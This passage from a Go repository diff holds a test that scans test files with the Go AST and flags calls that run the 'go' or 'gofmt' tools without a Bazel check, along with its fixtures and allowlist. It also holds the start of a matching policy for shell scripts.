part of what bd itself does; +// that is not in scope. +// +// A call site is gated, and so exempt, when: +// - its tool-name argument is not a string literal (a runfiles-resolved +// binary: bazeltest.RunfileEnv/Runfile/PrebuiltBD/testGo, or a variable +// a helper returns only after such a check) — the scan below only looks +// at literal arguments, so this case never reaches it; +// - the enclosing function (or func literal) contains an `if` whose +// condition names bazeltest.IsBazel() or tests os.Getenv("TEST_SRCDIR") +// against "", AND whose body aborts the function (return/continue/break/ +// t.Fatal*/t.Skip*/t.FailNow/panic/os.Exit) exactly when that condition +// is true-under-Bazel (see condPolarity/blockAborts) — i.e. the +// enclosing scope provably never reaches the exec while running under +// Bazel. This is deliberately still position-agnostic (it does not +// check that the `if` lexically precedes the call), matching the +// allowlist's own "the mechanism exists somewhere in this function" +// looseness, but it IS polarity-aware: `if !bazeltest.IsBazel() { +// t.Skip() }` (which makes the function run ONLY under Bazel) is not a +// gate, because the abort fires on the opposite condition +// (gastownhall/beads#7485 review point 6); +// - the enclosing function is itself named (not a func literal) and is +// called only from sites that are themselves gated by the rule above — +// checked by scanning every other in-scope file for bare calls to that +// name (helperIsGatedByAllCallers). This is what makes a shared builder +// like goBuildBDCommand (no gate of its own, nine call sites) provably +// safe without an allowlist entry that only asserts one caller's +// behavior in prose (gastownhall/beads#7485 review point 4): a tenth, +// ungated caller added later breaks this check, not just the comment; +// - it is in hostToolExecAllowlist below, each entry naming the gating +// mechanism the above cannot see, keyed by file + enclosing function + +// an exact source-line snippet rather than a line number, so it survives +// unrelated edits that shift lines (gastownhall/beads#7485 review point 5). +// +// Mutation check: TestHostToolExecPolicyScan's fixtures include a bare +// `exec.Command("go", "version")` with no gate and no allowlist entry, and +// assert the scan reports it; a second fixture pins the inverted-polarity +// case (`if !bazeltest.IsBazel() { t.Skip() }`) as still ungated; a third +// pins that a helper with one ungated caller among several is reported. + +import ( + "go/ast" + "go/parser" + "go/token" + "os" + "path/filepath" + "strconv" + "strings" + "testing" +) + +// bannedHostTools are the literal exec argument values this policy flags +// when ungated and unallowlisted. See the package comment above for why +// "dolt" is not here. +var bannedHostTools = map[string]bool{"go": true, "gofmt": true} + +// hostToolExecHit is one call this scan found, gated or not. +type hostToolExecHit struct { + line int + tool string + call string // "exec.Command", "exec.CommandContext", "exec.LookPath" + gated bool + funcName string // enclosing top-level func's name, or "" (func literal/none) + snippet string // trimmed source text of the hit's line, for allowlist matching +} + +// funcScopes bundles the per-file lookups findHostToolExecCalls and +// findCallSitesOf share: the smallest function/func-literal body enclosing a +// position, whether that scope is gated, and the top-level function name (if +// any) owning a body. +type funcScopes struct { + enclosing func(pos token.Pos) ast.Node + funcName func(scope ast.Node) string + gated func(scope ast.Node, pos token.Pos) bool +} + +// newFuncScopes builds the body/gating lookups for file. +func newFuncScopes(file *ast.File) *funcScopes { + var bodies []*ast.BlockStmt + owner := map[*ast.BlockStmt]string{} + ast.Inspect(file, func(n ast.Node) bool { + switch fn := n.(type) { + case *ast.FuncDecl: + if fn.Body != nil { + bodies = append(bodies, fn.Body) + owner[fn.Body] = fn.Name.Name + } + case *ast.FuncLit: + bodies = append(bodies, fn.Body) + } + return true + }) + + enclosing := func(pos token.Pos) ast.Node { + var best *ast.BlockStmt + for _, b := range bodies { + if b.Pos() <= pos && pos <= b.End() { + if best == nil || (b.End()-b.Pos()) < (best.End()-best.Pos()) { + best = b + } + } + } + if best != nil { + return best + } + return file + } + + funcName := func(scope ast.Node) string { + if b, ok := scope.(*ast.BlockStmt); ok { + return owner[b] + } + return "" + } + + gated := func(scope ast.Node, pos token.Pos) bool { + prebuiltVars := prebuiltResultVars(scope) + found := false + ast.Inspect(scope, func(n ast.Node) bool { + // Do not descend into a nested func literal: its gate (or lack + // of one) belongs to that closure's own scope, not to pos's + // enclosing scope. Without this, a gate inside a sibling + // t.Run(...) closure (or any other func literal) would be + // treated as covering an exec outside it entirely + // (gastownhall/beads#7485 review, "sibling closures"). + if _, ok := n.(*ast.FuncLit); ok && n != scope { + return false + } + ifStmt, ok := n.(*ast.IfStmt) + if !ok { + return true + } + bazelWhenTrue, matched := condPolarity(ifStmt.Cond, prebuiltVars) + if !matched { + return true + } + // Abort style: the if's body aborts (never falls through to the + // rest of the enclosing scope) exactly when ifStmt.Cond is true. + // If Cond is true precisely when running under Bazel, the rest + // of the scope -- wherever pos sits in it, PROVIDED pos is not + // itself inside this same Bazel-true branch -- is reachable + // only off Bazel: a real gate, independent of whether pos is + // textually before or after this if (deliberately permissive, + // see the package comment). The !within(ifStmt.Body, pos) + // guard makes that provision exact: `if bazeltest.IsBazel() { + // exec.Command("go", ...); return }` has bazelWhenTrue=true + // and an aborting body, but the exec sits INSIDE that same + // true-under-Bazel branch, before its own return -- it runs + // under Bazel every time, so this must not set found + // (gastownhall/beads#7485 review, "M17"). If Cond is true + // precisely when NOT under Bazel (the inverted case), the + // rest of the scope is reachable ONLY under Bazel -- the + // opposite of a gate -- so this must not set found either. + if bazelWhenTrue && blockAborts(ifStmt.Body) && !within(ifStmt.Body, pos) { + found = true + } + // Containment style: pos sits inside a branch that only runs + // off Bazel -- the if's Body when Cond is true off Bazel, or + // its Else when Cond is true under Bazel -- regardless of + // whether that branch aborts (e.g. `if !bazeltest.IsBazel() { + // ...exec... }` with no return at all, a common real pattern: + // cmd/bd/test_repo_beads_guard_test.go's GOCACHE/GOMODCACHE + // probes). An inverted containment (pos inside the branch that + // runs UNDER Bazel) must not set found -- that is review point + // 6's bug. + if !bazelWhenTrue && within(ifStmt.Body, pos) { + found = true + } + // ifStmt.Else is either a *ast.BlockStmt (a plain `else { ... }`) + // or another *ast.IfStmt (an `else if` link in a chain); either + // way its whole span -- including a further-nested else-if's own + // body -- is reached only when ifStmt.Cond is false, so a single + // Pos/End containment check on the Else node covers the chain. + if ifStmt.Else != nil && bazelWhenTrue && within(ifStmt.Else, pos) { + found = true + } + return true + }) + return found + } + + return &funcScopes{enclosing: enclosing, funcName: funcName, gated: gated} +} + +// condPolarity reports, for a condition expr, whether expr is true exactly +// when running under Bazel (bazelWhenTrue), and whether expr is a condition +// this policy recognizes at all (matched). prebuiltVars names local variables +// already known (via prebuiltResultVars) to hold a findPrebuiltBDBinary()/ +// bazeltest.PrebuiltBD() result: under Bazel that call either errors (an +// abort in its own right, wherever the caller checks it) or returns a +// non-empty path (bazeltest.PrebuiltBD, internal/testutil/bazeltest/ +// bazeltest.go), so it is never "" under Bazel. Recognized forms: +// - bazeltest.IsBazel() (or any x.IsBazel()): true under Bazel. +// - ! / (): negation/parens flip/pass through. +// - os.Getenv("TEST_SRCDIR") != "" : true under Bazel; == "" : true off Bazel. +// - prebuiltVar != "" : true under Bazel; == "" : true off Bazel. +// - a && / || of two recognized sub-conditions that agree on polarity (a +// mixed-polarity compound isn't a single-condition gate, so it is left +// unmatched rather than guessed at). +func condPolarity(cond ast.Expr, prebuiltVars map[string]bool) (bazelWhenTrue bool, matched bool) { + switch e := cond.(type) { + case *ast.ParenExpr: + return condPolarity(e.X, prebuiltVars) + case *ast.UnaryExpr: + if e.Op == token.NOT { + pol, ok := condPolarity(e.X, prebuiltVars) + if ok { + return !pol, true + } + } + case *ast.CallExpr: + if sel, ok := e.Fun.(*ast.SelectorExpr); ok && sel.Sel.Name == "IsBazel" { + return true, true + } + case *ast.BinaryExpr: + nonEmptyUnderBazel := isTestSrcdirGetenv(e.X) || isPrebuiltVarIdent(e.X, prebuiltVars) || + isTestSrcdirGetenv(e.Y) || isPrebuiltVarIdent(e.Y, prebuiltVars) + if nonEmptyUnderBazel && (isEmptyStringLit(e.X) || isEmptyStringLit(e.Y)) { + switch e.Op { + case token.NEQ: + return true, true + case token.EQL: + return false, true + } + } + if e.Op == token.LAND || e.Op == token.LOR { + lp, lok := condPolarity(e.X, prebuiltVars) + rp, rok := condPolarity(e.Y, prebuiltVars) + switch { + case lok && rok && lp == rp: + return lp, true + case lok && !rok: + return lp, true + case rok && !lok: + return rp, true + } + } + } + return false, false +} + +// isPrebuiltVarIdent reports whether e is a bare identifier naming a variable +// prebuiltResultVars recognized as a findPrebuiltBDBinary()/ +// bazeltest.PrebuiltBD() result. +func isPrebuiltVarIdent(e ast.Expr, prebuiltVars map[string]bool) bool { + id, ok := e.(*ast.Ident) + return ok && prebuiltVars[id.Name] +} + +// prebuiltResultVars scans scope for assignments whose right-hand side is a +// call to findPrebuiltBDBinary() or (any x.)PrebuiltBD(), returning the set +// of local names bound to the call's first result -- the "prebuilt binary +// path, or \"\"" value. A caller that checks `name != ""` and aborts when +// true is gated: see condPolarity. +func prebuiltResultVars(scope ast.Node) map[string]bool { + vars := map[string]bool{} + ast.Inspect(scope, func(n ast.Node) bool { + assign, ok := n.(*ast.AssignStmt) + if !ok || len(assign.Rhs) != 1 || len(assign.Lhs) < 1 { + return true + } + call, ok := assign.Rhs[0].(*ast.CallExpr) + if !ok { + return true + } + isPrebuiltCall := false + switch fn := call.Fun.(type) { + case *ast.Ident: + isPrebuiltCall = fn.Name == "findPrebuiltBDBinary" + case *ast.SelectorExpr: + isPrebuiltCall = fn.Sel.Name == "PrebuiltBD" + } + if !isPrebuiltCall { + return true + } + if id, ok := assign.Lhs[0].(*ast.Ident); ok && id.Name != "_" { + vars[id.Name] = true + } + return true + }) + return vars +} + +func isTestSrcdirGetenv(e ast.Expr) bool { + call, ok := e.(*ast.CallExpr) + if !ok || len(call.Args) != 1 { + return false + } + sel, ok := call.Fun.(*ast.SelectorExpr) + if !ok || sel.Sel.Name != "Getenv" { + return false + } + lit, ok := call.Args[0].(*ast.BasicLit) + if !ok || lit.Kind != token.STRING { + return false + } + v, err := strconv.Unquote(lit.Value) + return err == nil && v == "TEST_SRCDIR" +} + +// within reports whether pos lies within node's source range. +func within(node ast.Node, pos token.Pos) bool { + return node.Pos() <= pos && pos <= node.End() +} + +func isEmptyStringLit(e ast.Expr) bool { + lit, ok := e.(*ast.BasicLit) + if !ok || lit.Kind != token.STRING { + return false + } + v, err := strconv.Unquote(lit.Value) + return err == nil && v == "" +} + +// blockAborts reports whether body unconditionally stops control flow from +// reaching whatever follows it: a return/break/continue, or a call that +// itself never returns to the caller in a way that matters here +// (t.Fatal*/t.Skip*/t.FailNow, panic, os.Exit). It inspects the whole body, +// not just its top-level statements, so `if x { t.Skip() }` inside a nested +// block still counts -- matching the same permissive, non-control-flow-exact +// spirit the rest of this policy uses (see the package comment). +func blockAborts(body *ast.BlockStmt) bool { + aborts := false + ast.Inspect(body, func(n ast.Node) bool { + switch s := n.(type) { + case *ast.ReturnStmt: + aborts = true + case *ast.BranchStmt: + if s.Tok == token.BREAK || s.Tok == token.CONTINUE { + aborts = true + } + case *ast.CallExpr: + switch fn := s.Fun.(type) { + case *ast.Ident: + if fn.Name == "panic" { + aborts = true + } + case *ast.SelectorExpr: + switch fn.Sel.Name { + case "Skip", "SkipNow", "Skipf", "Fatal", "Fatalf", "FailNow": + aborts = true + case "Exit": + if pkg, ok := fn.X.(*ast.Ident); ok && pkg.Name == "os" { + aborts = true + } + } + } + } + return true + }) + return aborts +} + +func literalArg(e ast.Expr) (string, bool) { + lit, ok := e.(*ast.BasicLit) + if !ok || lit.Kind != token.STRING { + return "", false + } + v, err := strconv.Unquote(lit.Value) + if err != nil { + return "", false + } + return v, true +} + +// findHostToolExecCalls scans a parsed file for exec.Command / CommandContext +// / LookPath calls whose tool-name argument is a string literal naming a +// bannedHostTools entry, and reports, for each, whether its enclosing +// function (or func literal) is gated (see the package comment), its +// enclosing top-level function name, and its line's trimmed source text. +func findHostToolExecCalls(fset *token.FileSet, file *ast.File, lines []string) []hostToolExecHit { + scopes := newFuncScopes(file) + + var hits []hostToolExecHit + ast.Inspect(file, func(n ast.Node) bool { + call, ok := n.(*ast.CallExpr) + if !ok { + return true + } + sel, ok := call.Fun.(*ast.SelectorExpr) + if !ok { + return true + } + pkg, ok := sel.X.(*ast.Ident) + if !ok || pkg.Name != "exec" { + return true + } + argIdx := -1 + switch sel.Sel.Name { + case "Command", "LookPath": + argIdx = 0 + case "CommandContext": + argIdx = 1 + default: + return true + } + if len(call.Args) <= argIdx { + return true + } + tool, ok := literalArg(call.Args[argIdx]) + if !ok || !bannedHostTools[tool] { + return true + } + line := fset.Position(call.Pos()).Line + scope := scopes.enclosing(call.Pos()) + hits = append(hits, hostToolExecHit{ + line: line, + tool: tool, + call: "exec." + sel.Sel.Name, + gated: scopes.gated(scope, call.Pos()), + funcName: scopes.funcName(scope), + snippet: snippetAt(lines, line), + }) + return true + }) + return hits +} + +// findCallSitesOf scans file for bare calls `name(...)` (an *ast.Ident, not a +// selector -- how a same-package helper like goBuildBDCommand is called) and +// reports whether each call site's enclosing function/func-literal is gated. +func findCallSitesOf(file *ast.File, name string) []bool { + scopes := newFuncScopes(file) + var gatedPerSite []bool + ast.Inspect(file, func(n ast.Node) bool { + call, ok := n.(*ast.CallExpr) + if !ok { + return true + } + ident, ok := call.Fun.(*ast.Ident) + if !ok || ident.Name != name { + return true + } + gatedPerSite = append(gatedPerSite, scopes.gated(scopes.enclosing(call.Pos()), call.Pos())) + return true + }) + return gatedPerSite +} + +// helperIsGatedByAllCallers reports whether every bare call to funcName, +// across every file in files, is itself gated -- and how many call sites it +// found. A helper with zero call sites is not considered gated this way (it +// is either dead code or the scan is being asked about the wrong name); the +// caller should fall back to requiring a direct gate or allowlist entry. +func helperIsGatedByAllCallers(files map[string]*ast.File, funcName string) (gated bool, callSites int) { + if funcName == "" { + return false, 0 + } + for _, f := range files { + for _, siteGated := range findCallSitesOf(f, funcName) { + callSites++ + if !siteGated { + return false, callSites + } + } + } + return callSites > 0, callSites +} + +func snippetAt(lines []string, line int) string { + if line < 1 || line > len(lines) { + return "" + } + return strings.TrimSpace(lines[line-1]) +} + +// hostToolAllowlistEntry is one justified exception: the enclosing function +// name (empty for a call at package scope or inside a func literal this +// policy cannot name) and the exact trimmed source line, rather than a line +// number, so an entry survives the file shifting lines around it +// (gastownhall/beads#7485 review point 5). +type hostToolAllowlistEntry struct { + fn string + snippet string + why string +} + +// hostToolExecAllowlist is file (repo-relative, slash-separated) -> the +// entries justifying an ungated literal go/gofmt exec there. Every entry +// here is a helper reached only when bazeltest.PrebuiltBD()/ +// findPrebuiltBDBinary() (which itself calls bazeltest.IsBazel() under the +// hood) already reported no prebuilt bd binary -- under Bazel that call +// never returns "", so the exec below it is unreachable there, just not +// through a mention this scan's textual check can find in the same +// function. goBuildBDCommand itself (nine call sites, cmd/bd/*_test.go) is +// deliberately NOT here: it has no gate of its own, so it is instead +// verified by helperIsGatedByAllCallers, which checks every call site +// directly rather than trusting a comment about them (review point 4). +// Note: internal/storage/uow/doltserver_provider_test.go and +// cmd/bd/migrate_dolt_mode_frontdoor_integration_test.go used to have entries +// here for their `go build` fallbacks; both are now recognized directly +// (prebuiltResultVars/condPolarity: each checks its own +// findPrebuiltBDBinary()/bazeltest.PrebuiltBD() result `!= ""` and returns), +// so they need no allowlist entry. +var hostToolExecAllowlist = map[string][]hostToolAllowlistEntry{ + "internal/storage/embeddeddolt/concurrency_test.go": { + { + fn: "TestConcurrencyMultiProcess", + snippet: `build := exec.CommandContext(ctx, "go", "test",`, + why: "in the else branch of `if testBin := os.Getenv(\"BEADS_TEST_EMBEDDED_TEST_BINARY\"); testBin != \"\"`; unset only off Bazel", + }, + }, + "tests/regression/regression_test.go": { + { + fn: "buildCandidate", + snippet: `cmd := exec.Command("go", "build", "-tags", "gms_pure_go", "-o", outPath, "./cmd/bd")`, + why: "buildCandidate's only caller gates it on bazeltest.PrebuiltBD() returning \"\"", + }, + }, +} + +// hostToolExecInScope reports whether rel (repo-relative, slash-separated) +// is in this policy's scope: see the package comment. +func hostToolExecInScope(rel string) bool { + if strings.HasSuffix(rel, "_test.go") { + return true + } + return strings.HasPrefix(rel, "internal/testutil/") && strings.HasSuffix(rel, ".go") +} + +func TestHostToolExecPolicyScan(t *testing.T) { + parse := func(t *testing.T, src string) (*token.FileSet, *ast.File, []string) { + t.Helper() + fset := token.NewFileSet() + f, err := parser.ParseFile(fset, "fixture.go", src, 0) + if err != nil { + t.Fatalf("parse fixture: %v", err) + } + return fset, f, strings.Split(src, "\n") + } + + t.Run("ungated literal go exec is reported, unqated", func(t *testing.T) { + fset, f, lines := parse(t, `package p + +import "os/exec" + +func build() { + exec.Command("go", "version") +} +`) + hits := findHostToolExecCalls(fset, f, lines) + if len(hits) != 1 || hits[0].gated { + t.Fatalf("hits = %+v, want one ungated hit (mutation check)", hits) + } + }) + + t.Run("CommandContext and LookPath also match", func(t *testing.T) { + fset, f, lines := parse(t, `package p + +import ( + "context" + "os/exec" +) + +func a(ctx context.Context) { + exec.CommandContext(ctx, "go", "build") +} + +func b() { + exec.LookPath("gofmt") +} +`) + hits := findHostToolExecCalls(fset, f, lines) + if len(hits) != 2 || hits[0].gated || hits[1].gated { + t.Fatalf("hits = %+v, want two ungated hits", hits) + } + }) + + t.Run("dolt is out of scope", func(t *testing.T) { + fset, f, lines := parse(t, `package p + +import "os/exec" + +func d() { + exec.Command("dolt", "version") +} +`) + if hits := findHostToolExecCalls(fset, f, lines); len(hits) != 0 { + t.Fatalf("hits = %+v, want none (dolt is not a bannedHostTools entry)", hits) + } + }) + + t.Run("a variable tool name is not flagged", func(t *testing.T) { + fset, f, lines := parse(t, `package p + +import "os/exec" + +func build(goBin string) { + exec.Command(goBin, "build") +} +`) + if hits := findHostToolExecCalls(fset, f, lines); len(hits) != 0 { + t.Fatalf("hits = %+v, want none (not a literal)", hits) + } + }) + + t.Run("same-function IsBazel gate, textually before the exec", func(t *testing.T) { + fset, f, lines := parse(t, `package p + +import "os/exec" + +func build() { + if bazeltest.IsBazel() { + return + } + exec.Command("go", "build") +} +`) + hits := findHostToolExecCalls(fset, f, lines) + if len(hits) != 1 || !hits[0].gated { + t.Fatalf("hits = %+v, want one gated hit", hits) + } + }) + + t.Run("same-function IsBazel gate, textually after the exec, still counts", func(t *testing.T) { + // Deliberately permissive (see the package comment): the check is + // "does the function contain this mechanism", not control-flow aware + // about lexical order. + fset, f, lines := parse(t, `package p + +import "os/exec" + +func build() { + exec.Command("go", "build") + if bazeltest.IsBazel() { + panic("unreachable") + } +} +`) + hits := findHostToolExecCalls(fset, f, lines) + if len(hits) != 1 || !hits[0].gated { + t.Fatalf("hits = %+v, want one gated hit", hits) + } + }) + + t.Run("exec inside the Bazel-true branch, before its own abort, is not gated (mutation check, review M17)", func(t *testing.T) { + // `if bazeltest.IsBazel() { exec.Command("go", ...); return }` runs + // the exec every time Bazel is true -- the opposite of safe. The old + // abort-style check only looked at whether ifStmt.Body aborts + // anywhere in it, not at whether pos (the exec) sits inside that + // same true-under-Bazel body ahead of the abort. + fset, f, lines := parse(t, `package p + +import "os/exec" + +func build() { + if bazeltest.IsBazel() { + exec.Command("go", "build") + return + } +} +`) + hits := findHostToolExecCalls(fset, f, lines) + if len(hits) != 1 || hits[0].gated { + t.Fatalf("hits = %+v, want one ungated hit: the exec runs every time Bazel is true, "+ + "before the branch's own return", hits) + } + }) + + t.Run("a gate inside a sibling closure does not cover an exec outside it (mutation check, review sibling-closures)", func(t *testing.T) { + // The gate lives inside a t.Run func literal; the exec is a sibling + // statement in the outer test function, not reached by descending + // into that closure. + // + // Named siblingClosureFixture, not TestSiblingClosure: see the + // "inverted IsBazel skip" fixture below for why a column-0 + // "func TestXxx(t *testing.T)" inside this raw string would trip + // tools/bazel/equivalence.py's line-based scan. + fset, f, lines := parse(t, `package p + +import "os/exec" + +func siblingClosureFixture(t *testing.T) { + t.Run("sub", func(t *testing.T) { + if bazeltest.IsBazel() { + return + } + }) + exec.Command("go", "build") +} +`) + hits := findHostToolExecCalls(fset, f, lines) + if len(hits) != 1 || hits[0].gated { + t.Fatalf("hits = %+v, want one ungated hit: the gate is inside a sibling closure, "+ + "not the outer function's own scope", hits) + } + }) + + t.Run("TEST_SRCDIR gate", func(t *testing.T) { + fset, f, lines := parse(t, `package p + +import ( + "os" + "os/exec" +) + +func build() { + if os.Getenv("TEST_SRCDIR") != "" { + return + } + exec.LookPath("go") +} +`) + hits := findHostToolExecCalls(fset, f, lines) + if len(hits) != 1 || !hits[0].gated { + t.Fatalf("hits = %+v, want one gated hit", hits) + } + }) + + t.Run("inverted TEST_SRCDIR check is not a gate", func(t *testing.T) { + fset, f, lines := parse(t, `package p + +import ( + "os" + "os/exec" +) + +func build() { + if os.Getenv("TEST_SRCDIR") == "" { + return + } + exec.LookPath("go") +} +`) + hits := findHostToolExecCalls(fset, f, lines) + if len(hits) != 1 || hits[0].gated { + t.Fatalf("hits = %+v, want one ungated hit: this function returns OFF Bazel and only "+ + "reaches the exec UNDER Bazel, which is backwards", hits) + } + }) + + t.Run("inverted IsBazel skip is not a gate (mutation check, review point 6)", func(t *testing.T) { + // `if !bazeltest.IsBazel() { t.Skip() }` makes the enclosing test run + // ONLY under Bazel: the exact opposite of a gate. The old scan saw + // "IsBazel" mentioned anywhere in the function and called that + // gated; this fixture pins that it no longer does. + // Named to avoid matching tools/bazel/equivalence.py's + // `^func\s+(Test\w*)\s*\(\s*\w+\s+\*testing\.T\s*\)` line scan: that + // regex reads this file's raw text (it doesn't compile it), so a + // column-0 "func TestXxx(t *testing.T)" inside this fixture string + // would be counted as a real top-level test the equivalence check + // then expects Bazel to have run. + fset, f, lines := parse(t, `package p + +import "os/exec" + +func bazelOnlyFixture(t *testing.T) { + if !bazeltest.IsBazel() { + t.Skip("bazel only") + } + exec.Command("go", "build") +} +`) + hits := findHostToolExecCalls(fset, f, lines) + if len(hits) != 1 || hits[0].gated { + t.Fatalf("hits = %+v, want one ungated hit: this test runs ONLY under Bazel, "+ + "so the exec is never off the hermetic PATH", hits) + } + }) + + t.Run("TEST_SRCDIR gate", func(t *testing.T) { + fset, f, lines := parse(t, `package p + +import ( + "os" + "os/exec" +) + +func build() { + if os.Getenv("TEST_SRCDIR") != "" { + return + } + exec.LookPath("go") +} +`) + hits := findHostToolExecCalls(fset, f, lines) + if len(hits) != 1 || !hits[0].gated { + t.Fatalf("hits = %+v, want one gated hit", hits) + } + }) + + t.Run("a sibling function's gate does not cover this one", func(t *testing.T) { + fset, f, lines := parse(t, `package p + +import "os/exec" + +func caller() { + if bazeltest.IsBazel() { + return + } + helper() +} + +func helper() { + exec.Command("go", "build") +} +`) + hits := findHostToolExecCalls(fset, f, lines) + if len(hits) != 1 || hits[0].gated { + t.Fatalf("hits = %+v, want one ungated hit (the gate is in a different function)", hits) + } + }) + + t.Run("helper gated by call sites when every caller gates it", func(t *testing.T) { + _, helperFile, _ := parse(t, `package p + +import "os/exec" + +func helper() { + exec.Command("go", "build") +} +`) + _, callerFile, _ := parse(t, `package p + +func caller() { + if bazeltest.IsBazel() { + return + } + helper() +} + +func other() { + if bazeltest.IsBazel() { + return + } + helper() +} +`) + files := map[string]*ast.File{"helper.go": helperFile, "caller.go": callerFile} + gated, n := helperIsGatedByAllCallers(files, "helper") + if !gated || n != 2 { + t.Fatalf("helperIsGatedByAllCallers = (%v, %d), want (true, 2)", gated, n) + } + }) + + t.Run("helper NOT gated when any one caller is ungated (mutation check, review point 4)", func(t *testing.T) { + _, helperFile, _ := parse(t, `package p + +import "os/exec" + +func helper() { + exec.Command("go", "build") +} +`) + _, callerFile, _ := parse(t, `package p + +func caller() { + if bazeltest.IsBazel() { + return + } + helper() +} + +func newUngatedCaller() { + helper() +} +`) + files := map[string]*ast.File{"helper.go": helperFile, "caller.go": callerFile} + gated, n := helperIsGatedByAllCallers(files, "helper") + if gated || n != 2 { + t.Fatalf("helperIsGatedByAllCallers = (%v, %d), want (false, 2): a new ungated caller "+ + "must make the helper unsafe again", gated, n) + } + }) + + t.Run("a helper with no call sites found is not considered gated", func(t *testing.T) { + files := map[string]*ast.File{} + gated, n := helperIsGatedByAllCallers(files, "helper") + if gated || n != 0 { + t.Fatalf("helperIsGatedByAllCallers = (%v, %d), want (false, 0)", gated, n) + } + }) + + t.Run("hostToolExecInScope", func(t *testing.T) { + for rel, want := range map[string]bool{ + "cmd/bd/compact_gc_target_test.go": true, + "internal/testutil/localdoltserver.go": true, + "internal/testutil/integration/harness.go": true, + "internal/testutil/bazeltest/bazeltest_test.go": true, + "cmd/bd/compact.go": false, + "internal/storage/dolt/store.go": false, + "internal/doltserver/doltserver.go": false, + "scripts/ci/go-list-test-names/main.go": false, + } { + if got := hostToolExecInScope(rel); got != want { + t.Errorf("hostToolExecInScope(%q) = %v, want %v", rel, got, want) + } + } + }) +} + +// TestNoUngatedHostToolExecsUnderBazel scans the real tree (every *_test.go +// file and internal/testutil's non-test .go files) and fails on an +// unallowlisted, ungated literal go/gofmt exec. See the package comment. +func TestNoUngatedHostToolExecsUnderBazel(t *testing.T) { + root := sourceRepoRoot(t) + relFiles := repoFiles(t, root, 1000) + + type parsed struct { + file *ast.File + hits []hostToolExecHit + } + byFile := map[string]*ast.File{} + results := map[string]*parsed{} + scanned := 0 + for _, rel := range relFiles { + if !hostToolExecInScope(rel) { + continue + } + path := filepath.Join(root, filepath.FromSlash(rel)) + data, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read %s: %v", rel, err) + } + fset := token.NewFileSet() + f, err := parser.ParseFile(fset, path, data, 0) + if err != nil { + t.Fatalf("parse %s: %v", rel, err) + } + scanned++ + lines := strings.Split(string(data), "\n") + hits := findHostToolExecCalls(fset, f, lines) + byFile[rel] = f + results[rel] = &parsed{file: f, hits: hits} + } + if scanned < 1000 { + t.Fatalf("scanned only %d in-scope files; the walk is broken", scanned) + } + + seen := map[string]map[int]bool{} // rel -> allowlist entry index -> matched + for rel, p := range results { + for _, hit := range p.hits { + if hit.gated { + continue + } + if idx, ok := matchAllowlist(hostToolExecAllowlist[rel], hit); ok { + if seen[rel] == nil { + seen[rel] = map[int]bool{} + } + seen[rel][idx] = true + continue + } + if gated, n := helperIsGatedByAllCallers(byFile, hit.funcName); gated && n > 0 { + continue + } + t.Errorf("%s:%d: ungated %s(%q): under `bazel test` the hermetic-first PATH may lack a host %s "+ + "toolchain, so this can exit 127 on some workers (f4-spec.md §9); gate it on bazeltest.IsBazel()/"+ + "TEST_SRCDIR, resolve the binary through bazeltest.RunfileEnv/PrebuiltBD, ensure every caller of "+ + "its enclosing function gates it, or add a justified hostToolExecAllowlist entry", rel, hit.line, hit.call, hit.tool, hit.tool) + } + } + for rel, entries := range hostToolExecAllowlist { + if _, scannedFile := results[rel]; !scannedFile { + t.Errorf("hostToolExecAllowlist entry for %s: file was not scanned (not in scope or missing)", rel) + continue + } + for idx, entry := range entries { + if !seen[rel][idx] { + t.Errorf("hostToolExecAllowlist entry %s (func %q, snippet %q) no longer matches an "+ + "ungated host-tool exec; remove it", rel, entry.fn, entry.snippet) + } + } + } +} + +// matchAllowlist finds the allowlist entry (if any) matching hit by enclosing +// function name and exact source-line snippet, returning its index for +// usage-tracking. +func matchAllowlist(entries []hostToolAllowlistEntry, hit hostToolExecHit) (int, bool) { + for i, e := range entries { + if e.fn == hit.funcName && e.snippet == hit.snippet { + return i, true + } + } + return 0, false +} diff --git a/scripts/host_tool_shell_policy_test.go b/scripts/host_tool_shell_policy_test.go new file mode 100644 index 000000000..15e58e662 --- /dev/null +++ b/scripts/host_tool_shell_policy_test.go @@ -0,0 +1,1103 @@ +package scripts_test + +// Policy: no new ungated bare `go`/`gofmt` exec in shell scripts under +// scripts/ or .github/scripts/ that a Bazel test actually runs. This is the +// shell-script half of host_tool_exec_policy_test.go's Go-exec policy (see +// that file's package comment for the full rationale shared by both: under +// `bazel test` PATH is `hermetic_bin:` plus the strict action env, and a host +// `go`/`gofmt` toolchain is not guaranteed to be on it the way the +// hermetic-first `dolt` is -- see f4-spec.md §9). "dolt" is out of scope here +// for the same reason it is out of scope there: it is the one tool that PATH +// ordering already makes safe. +// +// Scope: unlike the Go scanner (which can cheaply scan every *_test.go file +// in the tree), finding every shell script a Bazel test actually executes +// requires reading each candidate script's BUILD.bazel wiring (sh_test +// srcs/args/data, a go_test's data, or a Go test's exec.Command of a fixed +// script path) by hand; there is no existing Starlark-aware tool in this repo +// to do that automatically, and no mechanical backstop here either -- see +// TestShellPolicyScopeCoversBazelShellData's removal note further down for +// why a regex-based one was tried and dropped. In particular this scope +// cannot see the common run_check.sh-as-launcher pattern (most +// scripts/repochecks targets pass the real target script as an `arg`, not as +// `data`/`srcs`, so run_check.sh itself is the only mechanically discoverable +// entry for that whole family) -- those still need hand curation and +// citation below. +// +// shellPolicyScope is that set, as of this writing, with how each entry was +// confirmed to run under `bazel test`: +// +// scripts/ci/fmt-check.sh PROGRAM of //scripts/repochecks:fmt_test +// (run_check.sh execs it); data of +// //scripts/prlintmake:prlintmake_test +// scripts/ci/gofmt-bin.sh data of prlintmake_test, which execs it +// directly (gofmtbin_test.go) and fmt-check.sh +// execs it as its first line +// scripts/ci/pr-lint.sh data of //scripts/prlintmake:prlintmake_test +// AND //scripts/repochecks (doc_freshness_test's +// tracked-file tree); prlintmake_test.go execs it +// directly with gofmt/go shims on PATH +// scripts/check-build-tags.sh PROGRAM of repochecks:build_tags_test +// scripts/check-go-install-guidance.sh PROGRAM of repochecks:go_install_guidance_test +// scripts/check-winget-portable-alias.sh PROGRAM of repochecks:winget_portable_alias_test +// scripts/check-migration-hygiene.sh PROGRAM of repochecks:migration_hygiene_test +// scripts/check-doc-freshness.sh PROGRAM of repochecks:doc_freshness_test +// scripts/check-workapi-frontend-boundary.sh PROGRAM of repochecks:workapi_frontend_boundary_test +// scripts/check-testing-short.sh exec.Command("bash", ...)'d directly by +// testing_short_tree_test.go, in this package +// scripts/check-versions.sh exports_files'd to //scripts/check-versions, +// exec'd directly by pre_push_hook_test.go +// (its "exit-status contract") +// scripts/repochecks/run_check.sh srcs of every repochecks sh_test above 